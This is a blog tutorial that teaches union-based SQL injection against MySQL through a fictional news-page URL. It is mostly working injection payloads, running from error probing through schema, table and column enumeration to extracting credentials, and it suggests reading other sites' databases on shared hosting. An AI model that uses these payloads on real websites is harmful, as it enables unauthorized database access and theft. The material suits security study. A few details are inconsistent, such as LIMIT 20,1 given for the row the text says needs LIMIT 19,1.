State of the Union

An in-depth tutorial on union based MySQL injection attacks.

This tutorial will be more in depth than most SQLi tutorials, it is aimed at those who wish to grasp a good understanding of the theory and why certain methods are used, rather than just giving you the smallest number of steps required to start injecting. The information is intended for education purposes only.

Introduction

Structured Query Language Injection or SQLi for short, is an attack vector which allows an adversary to modify the data access layer of an application, abuse of this vulnerability allows attackers to read the database and in some cases write arbitrary data to the database or even the file system. There are 3 basic types of SQL injection attacks, error based, blind and union, this tutorial will focus on union based attacks, specifically on websites that interact with a MySQL database.

Before starting this tutorial it will be helpful to know at least basic SQL, good hackers understand how systems are used correctly before gaining a deeper understanding of how to break them and find vulnerabilities. If you're completely new to SQL I'd recommend installing MySQL and making a database to test with, follow some tutorials on basic SQL queries until you're comfortable with the basics. MySQL is free and can be downloaded here. There is a near infinite number of resources online to teach you basic MySQL the official reference manual and tutorials are here.

SQL is used in web development to allow for dynamic content, web pages can contain static elements that act as a kind of template and these are filled dynamically with content based on certain conditions. It's the job of the data access layer to build an SQL statement that is used to query the database and fetch the necessary content and insert that content into the static HTML page before delivering it to your browser.

Probably the oldest and most common example of this is a news page, when you click a news article link you're taken to a page that acts as a template for news stories, in the URL a parameter is passed back to the web server which tells the server the ID of the news story to select from the database. There are many other uses for page parameters but for this tutorial we'll focus on a fictional example based off a simple news page. This is an example of our fictional URL selecting a news story with an ID of 51 from the database.

http://frostyhacks.blogspot.com/news/index.php?news_id=51

The parameter name is "news_id" and the value is 51, there can be more than one page parameter in the URL separated by the ampersand character, when testing for SQLi vulnerabilities in the real world it's important to test all user input to the page which includes all of the page parameters. Not all websites will be vulnerable, you can only inject websites where the developers have implemented their SQL badly, in many cases SQL injection is impossible.

Our fictional news_id is received by the server and injected inside an SQL statement, the SQL used to query the database in our example could look something like this:

SELECT id, headline, news, author FROM news WHERE id = [Parameter]

This query selects the id, the news headline, the body of the news article and the name of the author from a table called "news" where the id of the news article in the database equals the parameter passed in the page. The various fields are then inserted into the correct place in the HTML template to build the final page before sending it back to the browser.

From now on the URL and SQL statements will be colour coded so that static parts are green and the user supplied content is red, this is just for clarity. For example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=51

SQL

SELECT id, headline, news, author FROM news WHERE id = 51

The basic principle of  SQL injection is to modify the user supplied content such as the page parameters to extend and manipulate the SQL statement to function in a different way. One basic SQLi attack is to simply append OR 1=1 to the page parameter, this causes the final query to look like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=51 OR 1=1

SQL

SELECT id, headline, news, author FROM news WHERE id = 51 OR 1=1

The condition 1=1 always evaluates to TRUE, and because we've OR'd this with our original condition that the id = 51, this statement is always evaluated to true no matter what value of id you use. The means every news record will be selected from the database, instead of the originally intended individual record. By itself there isn't much use for this attack, but it demonstrates the principle by which the attack works so we can move on to more complex examples.

Vulnerable?

The first step in an SQL injection attack is to determine which page parameters (if any) are vulnerable, the quickest way to do this is to provide a parameter which will cause an SQL error, simply add an apostrophe into the page parameter, if you see an SQL error on the page you know the parameter can be injected, if the page renders as normal then you cannot inject that parameter.

String or integer?

SQL is a strongly typed language which means there's a distinction between data types, generally speaking you'll come across 2 types being used as page parameters, strings and integers. Integers are just whole numbers such as 51 and are written without any additional formatting. Strings can include many different characters and have to be wrapped in apostrophes, sometimes called a single quote, backtick or simply a tick. We've already seen what an SQL query looks like using integers, the following example uses a string to select articles by author name.

URL

http://frostyhacks.blogspot.com/news/index.php?author=[Parameter]

SQL

SELECT id, author FROM news WHERE author = '[Parameter]' 

The reason this is important is because user input taken as a string can only be injected if you first escape out of the string by including a tick, otherwise any data you inject will simply be considered part of the string. If we attempted to use Bob OR 1=1 we'd have the following statement:

URL

http://frostyhacks.blogspot.com/news/index.php?author=Bob OR 1=1

SQL

SELECT id, author FROM news WHERE author = 'Bob OR 1=1'

This isn't what we want, SQL is treating the whole input as one string because it's wrapped in apostrophes, so we provide one inside the parameter to escape the input, change the parameter to Bob' OR 1=1 and our query will now look like this:

URL

http://frostyhacks.blogspot.com/news/index.php?author=Bob' OR 1=1

SQL

SELECT id, author FROM news WHERE author = 'Bob' OR 1=1'

This fixes escaping out of the string, however we have a new problem, we have an additional closing tick at the end of the statement, this will create an invalid SQL query and when queried will cause an SQL error. This is a specific case of a more general problem where you have some additional SQL after the injection point, it is common when doing SQL injection to be injecting into the middle of a statement rather than the end.

To fix this you can attempt to write a clever and complex input that neatly closes off the rest of statement but it's far quicker to comment out the rest of the query after your input, in MySQL you use a double hyphen -- to start a comment which tells the SQL database to ignore everything after. This alone is sufficient when commenting out of an integer input, however a comment after a string input requires --+. The reason the additional + is required is because of an ambiguity with MySQL, -- is used to start a comment but it can also be used as a math operator to decrement an integer. By adding a plus this is URL decoded into a space character and removes the ambiguity, MySQL then treats this operator as the start of a comment as intended. (Thanks to benzi for clarifying this!)

Our input now becomes Bob' OR 1=1 --+ and our final query looks like this:

URL
http://frostyhacks.blogspot.com/news/index.php?author=Bob' OR 1=1 --+

SQL

SELECT id, author FROM news WHERE author = 'Bob' OR 1=1 --+'

The second step in an SQL injection attack is to determine if the injection point you're testing is a string or an integer, if the website is creating URLs with letters in the page parameters these have to be strings, if the page only generate number you cannot immediately tell, it could be either and you'll have to test. Simply inject with or without a tick and see which throws an SQL error. If you inject 51 OR 1=1 -- and throw an error then they're treating inputs as a string, if it works then they're treating them as an integer.

Just to recap.

Injecting an integer requires no tick and a double hyphen, for example:
51 or 1=1 --

Injecting a string requires a tick to escape the string and a double hyphen and a plus, for example:
51' or 1=1 --+

It's worth noting that all following examples use integers and so do not require a tick, they also don't strictly require comments because there is no SQL after the injection point that will cause an error, however because this is almost never the case in the wild it's good to get used to seeing them in example. During testing there is no real harm in always using them, it's quicker and easier.

How many columns?

The next step is to determine how many columns are being selected from the database by the query we're injecting in to, eventually we'll want to UNION the legitimate data from the original query with our own custom data selected from another table, in order to append these 2 data sets together we need to ensure they have the same number of columns otherwise we'll throw an error.

To determine the number of columns we can expand the query to ORDER the result set by a certain column, MySQL allows you to identify the column you wish to order by using the number of that column. Consider the original query again:

SQL

SELECT id, headline, news, author FROM news WHERE id = 51

This query selects 4 columns, in a real attack we wouldn't be able to see the query in the code (unless part of the query is returned by errors) and so we'd be blind to the number of columns it selects, in some cases queries may select * from a table which means all columns and so even if the query is shown inside an SQL error we'd still not know the number of columns.

If we inject 51 ORDER BY 1 -- like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=51 ORDER BY 1 --

SQL

SELECT id, headline, news, author FROM news WHERE id = 51 ORDER BY 1 --

The SQL server will order the results by "id" and return the ordered results. If you increase that to 51 ORDER BY 2 -- it will order by "headline", and so on. Eventually you'll reach 51 ORDER BY 5 --, you're now trying to order by a column that doesn't exist in the result set and SQL will throw an error. You can now infer that the data set has 4 columns, 1 column less than the number which caused the error.

Note that if you keep increasing your number of columns and there appears to be no sensible number that creates an error, you have probably incorrectly identified if the page parameter is a string or an integer, you need to double check if you need a tick or not.

UNION SELECT

We're now ready to union the data from the original query with our own. To start with we simply union select with a row of numbers which is equal in length to the number of columns we've previously determined. If we keep with our original example we need to inject 51 UNION SELECT 1,2,3,4 -- this will make our query look like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=51 UNION SELECT 1,2,3,4 --

SQL

SELECT id, headline, news, author FROM news WHERE id = 51 UNION SELECT 1,2,3,4 --

This appends our row of data (1,2,3,4) on to the results, in many cases this will not show visibly on the website. Some web pages are designed to only use 1 row from the data set, if the data set contains multiple rows it will simply use the first. In this case our appended data would be ignored. Sometimes pages are designed to loop through all rows and display each in turn, in which case you'll see some of the numbers in our row of data actually appear on the web page somewhere, this could be as text or they could be used as part of the HTML markup, if you cannot see any of the numbers 1,2,3,4 on the page it's always worth checking the source code.

In our example only the first row is used, we can fix this problem and make our appended data be the first result by forcing the original part of the query returns 0 rows, we do this by making the criteria in the WHERE clause impossible to be met, usually the simplest way is to add a minus character for example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,2,3,4 --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,2,3,4 --

Now instead of seeing normal data on the page such as a news headline, an author and the body of the article, you'll see some of the numbers from our row of data. This allows you to determine which columns in the select statement are being inserted somewhere in the HTML, only these can be used to extract data. In this fictional example you'd see "2" in place of the headline, "3" in place of the news story and "4" in place of the author, however you wouldn't see 1 anywhere, id was selected from the database but never displayed on the page, this means we can use column 2, 3 or 4 to query data.

Finally we can start selecting real data from the database, let's do a test and select the version number of the database to know what we're dealing with, this is helpful information as we can research what features the server supports and make sure we don't issue any SQL queries that it cannot understand. To do this simply replace one of the injectable columns with the system variable @@version, lets pick column 2: 

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,@@version,3,4 --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,@@version,3,4 --

Instead of a headline on the page you'll have the version number of the SQL database!

Enumerating schemas

Before we can select data from the database we need to know the structure, what schemas are available, the name of the tables they contain and the name of the columns in the tables, the logical place to start is top down starting with is the schemas.

As of version 5 of MySQL they have included a hidden schema called "information_schema", this schema contains all the meta data about the rest of the database and is maintained by the MySQL server, it has a fixed structure which means we already know what tables to query. You can find more about the information_schema structure here.

In order to find what other schemas are on the server and their names we read from a table called "schemata" and a column called "schema_name", keeping with our original query we expand our union select by setting our page parameter to:

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata --

Let's break down what this means, we're again replacing column 2 but this time with a concatenation of all the rows in the table, selecting only the column "schema_name". Remember that we have to concatenate the many results it could return into a single string because we're selecting data into a single column of a larger set of results, this saves us from having to query one row at a time.

Note that we're selecting from the table "schemata" from inside the schema called "information_schema", we cannot just reference the table by name alone unless the schema we're selecting from is set as the default schema, the information_schema is never set as the default so we have to use the format schema.table

If you've done this correctly, you'll get a comma separated list of all the schemas on the server, including the default information_schema, make a list of these they're important. If you wish to know which of these schemas is the default schema simply select database() for example:

URL
http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,database(),3,4 --
SQL

SELECT id, headline, news, author FROM news WHERE id = -51 
UNION SELECT 1,database(),3,4 --

For our example lets assume there's only one additional schema called "frostyhacksblog" which is the default schema, there may be more. If you happen to get an extremely long list of schemas you may have hit the SQLi jackpot which is a hosting provider that shares a database among many websites, each with their own schema, if this has been set up with bad security you'll be able to read the database of a completely different website. It's possible the websites are also hosted on the same web server with the same IP address, you can use a reverse DNS lookup tool such as IPNeighbour to find what other websites these schemas might belong to.

Now we know the schema names we can enumerate the tables within them.

Enumerating tables

This works the same as enumerating schemas, we're selecting meta data about the database from the information_schema, this time from a table called "tables" so our target table name will be "information_schema.tables" and the column name is "table_name", we also want to specify what schema we want to select the list of tables from with the WHERE condition that the column "table_schema" contains our schema name, in our example this is frostyhacksblog. For example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog --
SQL

SELECT id, headline, news, author FROM news WHERE id =-51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = frostyhacksblog --

However there's problem using this, it will throw an error, under certain circumstances you may not be able to use the name of the schema as text, to solve this problem you'll have to hex encode the name. MySQL understands hex representations of values by preceding them with 0x and then the hex value.

You can use a free hex converter to convert values, the result of the conversion of frostyhacksblog is 66726f7374796861636b73626c6f67 and so the full hex representation becomes 0x66726f7374796861636b73626c6f67

Our query now looks like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = 0x66726f7374796861636b73626c6f67 --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables WHERE table_schema = 0x66726f7374796861636b73626c6f67 --

If this executes correctly you'll get a list of tables separated by commas. It's worth noting that you may get a truncated list as the group_concat function has a limit set by the SQL server, the default limit is 1024 characters. There's more advanced ways to get around this limit but while you're learning the basics you can swap group_concat(table_name) for concat(table_name) which will return a single result, them use the LIMIT function to select the specific row you want, if you want row 20 you would use LIMIT 19,1 the final query would look like this:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,concat(table_name),3,4 from information_schema.tables WHERE table_schema = 0x66726f7374796861636b73626c6f67 LIMIT 20,1--

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,concat(table_name),3,4 from information_schema.tables WHERE table_schema = 0x66726f7374796861636b73626c6f67 LIMIT 20,1--

Remember that LIMIT is zero indexed, this means the first row is not 1 but 0, and so the 20th row would be 19, not 20. You can now enumerate all the tables, make a note of their names and what schema they're a part of.

Enumerating columns

Just like with schemas and tables we enumerate columns in a similar way, we read from a table called "columns" from the "information_schema" schema, and we select a field called "column_name", we switch the condition to be which table we're interested in. For example if we're interested in a table called "news" we'd first hex encode it to 0x6e657773 and then use the input:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(column_name),3,4 from information_schema.columns WHERE table_name = 0x6e657773 --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(column_name),3,4 from information_schema.columns WHERE table_name = 0x6e657773 --

This gives us a comma separated list of columns that exist in the table you picked. We now know the schemas, the tables and the columns and that's enough information to select the data we need.

Selecting data

Selecting the data you want is straight forward, it follows the same format as above, if you're selecting from the default schema (the one that database() returns) then you can reference the table by itself otherwise use schema.table format, there's no need to hex encode anything this time. Our input becomes

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(column1,column2,column3),3,4 from schema.table -- 

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(column1,column2,column3),3,4 from schema.table -- 

When selecting multiple columns the result will appended together, only the rows of results will be separated by commas, not the columns. To make the output more readable you can add additional characters to separate columns apart, you just need to  hex encode them, it's common to separate columns by colons (0x3a) and add a new line (0x0a) to the end, for example:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(column1,0x3a,column2,0x3a,column3,0x0a),3,4 from schema.table --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(column1,0x3a,column2,0x3a,column3,0x0a),3,4 from schema.table --

If we wanted to select data from our news table example we could select the news headline and news body like so:

URL

http://frostyhacks.blogspot.com/news/index.php?news_id=-51 UNION SELECT 1,group_concat(headline,0x3a,news,0x0a),3,4 from frostyhacksblog.news --

SQL

SELECT id, headline, news, author FROM news WHERE id = -51 UNION SELECT 1,group_concat(headline,0x3a,news,0x0a),3,4 from frostyhacksblog.news --

This is kind of pointless since this content is already displayed to the news page, but it's only an example. You could select any other data from any other schema and table that web application has permissions to read, that might include other sensitive data such as a list of logins/passwords to the website, user data etc.

If you have any questions please post a comment and I'll be glad to help, please refrain from posting real world examples as they will just be deleted. Keep in mind that it's against the law to perform SQL injection on websites which you do not own or have explicit permission to test.